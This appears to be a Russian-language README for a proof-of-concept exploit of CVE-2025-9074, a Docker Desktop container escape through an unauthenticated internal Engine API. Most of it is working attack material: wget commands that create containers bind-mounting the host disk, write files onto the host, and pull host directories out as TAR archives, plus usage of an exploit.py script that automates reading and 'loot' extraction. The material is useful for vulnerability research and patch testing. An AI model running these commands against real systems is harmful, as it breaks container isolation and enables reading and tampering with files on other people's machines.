
Эксплойт PoC для CVE-2025-9074, демонстрирующий полный выход из контейнера Docker Desktop на Windows и macOS через неаутентифицированный внутренний API Docker Engine.
Docker Desktop открывает внутренний API Docker Engine по адресу http://192.168.65.7:2375 для любого работающего контейнера — без аутентификации и без контроля доступа.
Поскольку сам движок может монтировать файловую систему хоста, контейнер может вызвать этот API, чтобы создать новый контейнер, который монтирует хост-диск с помощью bind-mount, затем использовать этот контейнер для чтения и записи произвольных хост-файлов — полный выход из контейнера на хост.
http://192.168.65.7:2375 — учетные данные не требуются.POST /containers/create с Binds: ["/mnt/host:/host_root"], монтируя хост-диск в новый контейнер. Внутри виртуальной машины Docker файловая система хоста доступна по адресу /mnt/host (например, диск Windows C: находится в /mnt/host/c).POST /containers/{id}/start активирует bind-mount, предоставляя полный доступ к хосту.echo pwned > /host_root/c/test/pwn.txt).GET /containers/{id}/archive?path=... передает любой путь на хосте обратно в виде TAR-архива — не требуется оболочка.Создайте C:\test\readme.txt с образцовым содержимым, чтобы у демонстрации чтения была цель.

docker run -it --rm alpine /bin/sh
Все ручные шаги ниже выполняются внутри этого контейнера (alpine поставляется с wget). Установите переменную оболочки для API, чтобы сократить команды:
API=http://192.168.65.7:2375
Цель: создать C:\test\pwn.txt на хосте изнутри контейнера.
# 1. Создайте контейнер, который монтирует диск C: хоста и записывает в него файл.
wget -q -O create.json \
--header='Content-Type: application/json' \
--post-data='{"Image":"alpine","Cmd":["sh","-c","echo pwned > /host_root/c/test/pwn.txt"],"HostConfig":{"Binds":["/mnt/host:/host_root"]}}' \
$API/containers/create
# 2. Извлеките ID нового контейнера из ответа JSON.
cid=$(cut -d'"' -f4 create.json)
# 3. Запустите его — команда выполняется и записывает файл на хост.
wget -q -O - --post-data='' $API/containers/$cid/start
Что произошло:
Binds: /mnt/host:/host_root монтирует диски хоста в новый контейнер.pwned в C:\test\pwn.txt (/host_root/c/test/pwn.txt).Ожидаемый результат: C:\test\pwn.txt теперь существует на хосте.

Цель: прочитать C:\test\readme.txt с хоста изнутри контейнера.
# 1. Создайте и запустите контейнер с смонтированным диском хоста (оставьте ненадолго живым).
wget -q -O create.json \
--header='Content-Type: application/json' \
--post-data='{"Image":"alpine","Cmd":["sleep","30"],"HostConfig":{"Binds":["/mnt/host:/host_root"]}}' \
$API/containers/create
cid=$(cut -d'"' -f4 create.json)
wget -q -O - --post-data='' $API/containers/$cid/start
# 2. Запросите у движка TAR-архив каталога хоста, затем извлеките его.
wget -q -O test.tar "$API/containers/$cid/archive?path=/host_root/c/test"
tar -xvf test.tar
cat test/readme.txt
Что произошло:
GET /containers/{id}/archive?path=... передает любой путь на хосте обратно в виде TAR — не требуется оболочка.Ожидаемый результат: выводится содержимое C:\test\readme.txt.

exploit.pyexploit.py автоматизирует оба сценария. Он использует только стандартную библиотеку Python, автоматически определяет монтирование хоста (Windows /mnt/host/c против macOS/Linux /) и переводит родные пути хоста для вас.
Внутренний API (
192.168.65.7:2375) доступен только изнутри контейнера, поэтому запускайте скрипт в контейнере с Python:
# Из каталога репозитория на хосте:
docker run --rm -it -v "${PWD}:/x" python:3-alpine python /x/exploit.py info
В Windows PowerShell используйте -v "${PWD}:/x"; в cmd.exe используйте -v "%cd%:/x".
python /x/exploit.py info
Пингует API, определяет ОС хоста и выводит список записей монтирования корневого уровня хоста.
# Хост Windows
python /x/exploit.py write 'C:\test\pwn.txt' --content 'pwned via CVE-2025-9074'
# Хост macOS/Linux (или передайте содержимое через stdin)
echo "pwned" | python /x/exploit.py write /tmp/pwn.txt
# Вывод на stdout
python /x/exploit.py read 'C:\test\readme.txt'
# Или извлеките (файл или весь каталог) в ./loot
python /x/exploit.py read 'C:\test' --out ./loot
Этот PoC предназначен только для авторизованного тестирования, обучения и исследований. Автор не несет ответственности за неправильное использование. Запускайте его только на системах, которые вам принадлежат или на тестирование которых у вас есть разрешение.
Этот PoC и README созданы на основе исследования Феликса Буле. Вся заслуга за первоначальное открытие и анализ принадлежит оригинальному автору.
Этот проект лицензирован под лицензией MIT.
| Flag | Назначение |
|---|
--api URL | Переопределить конечную точку API (по умолчанию http://192.168.65.7:2375) |
--image NAME | Образ для контейнера эксплойта (по умолчанию alpine, автоматически загружается, если отсутствует) |
--vm-mount PATH | Пропустить автоопределение и принудительно указать монтирование хоста внутри ВМ (например, /mnt/host или /) |